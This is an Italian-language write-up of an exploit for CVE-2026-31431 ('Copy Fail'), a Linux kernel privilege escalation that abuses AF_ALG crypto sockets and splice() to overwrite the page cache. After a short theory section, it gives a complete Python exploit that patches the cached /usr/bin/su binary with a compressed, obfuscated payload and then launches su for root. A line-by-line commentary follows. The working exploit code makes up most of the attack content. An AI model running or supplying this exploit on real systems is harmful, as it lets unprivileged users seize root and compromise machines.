Exploit CVE-2026-31431 Copy Fail

Parte 1: Concetto Teorico (Come funziona CVE-2026-31431)

Invece di recuperare costantemente i file direttamente dal lento disco rigido fisico—il che spreca molto tempo—il sistema Linux crea una copia temporanea del file nella RAM, nota come Page Cache. Ciò consente al sistema di eseguire e leggere il file quasi istantaneamente, interamente all'interno della RAM.

Questo processo si basa su due funzioni chiave:

• AF_ALG: Responsabile della gestione delle operazioni crittografiche/di cifratura per file e dati all'interno del kernel.

• splice(): Responsabile dello spostamento diretto dei dati da una posizione di memoria a un'altra a velocità estremamente elevate (Zero-Copy).

L'exploit manipola queste due funzioni. Quando il sistema tenta di elaborare ed eseguire il file in memoria, incontra il codice del payload iniettato. Poiché il kernel Linux gestisce la gestione della memoria, non sospetta mai che si sia verificata una falla logica o una modifica illegale.

In sintesi: La vulnerabilità altera la memoria per bypassare la cifratura/i controlli sul file di destinazione. Sovrascrive quindi specifiche istruzioni da 4 byte all'interno della memoria, così che qualsiasi utente non privilegiato riceva immediatamente l'accesso Root—con l'intera operazione eseguita direttamente dal Kernel.

Parte 2: Analisi del Codice dell'Exploit

Il Codice dell'Exploit:

Python

#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

Analisi Riga per Riga:

1. e = zlib.decompress(d("78daab77..."))

   Questa riga estrae il payload esadecimale compresso. Puoi pensare a questo payload come al vettore di iniezione progettato per concedere privilegi Root. Converte i dati esadecimali in byte grezzi così da poter essere scritti nella RAM per bypassare l'autenticazione tramite password.

2. a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)

   Lo script apre un handle in sola lettura al binario /usr/bin/su (l'eseguibile responsabile del cambio dei privilegi utente). Configura un socket AF_ALG (ID AF_ALG = 38) e usa la chiamata di sistema splice() per riversare le pagine di memoria di /usr/bin/su direttamente nel motore crittografico del kernel.

3. Sovrascrittura della Memoria del Kernel:

   A causa del difetto nel modulo crittografico del kernel (algif_aead), il Kernel viene ingannato durante l'operazione. Invece di scrivere l'output elaborato in un normale buffer temporaneo, scrive il payload direttamente sopra la pagina del binario /usr/bin/su memorizzata nella RAM (Page Cache).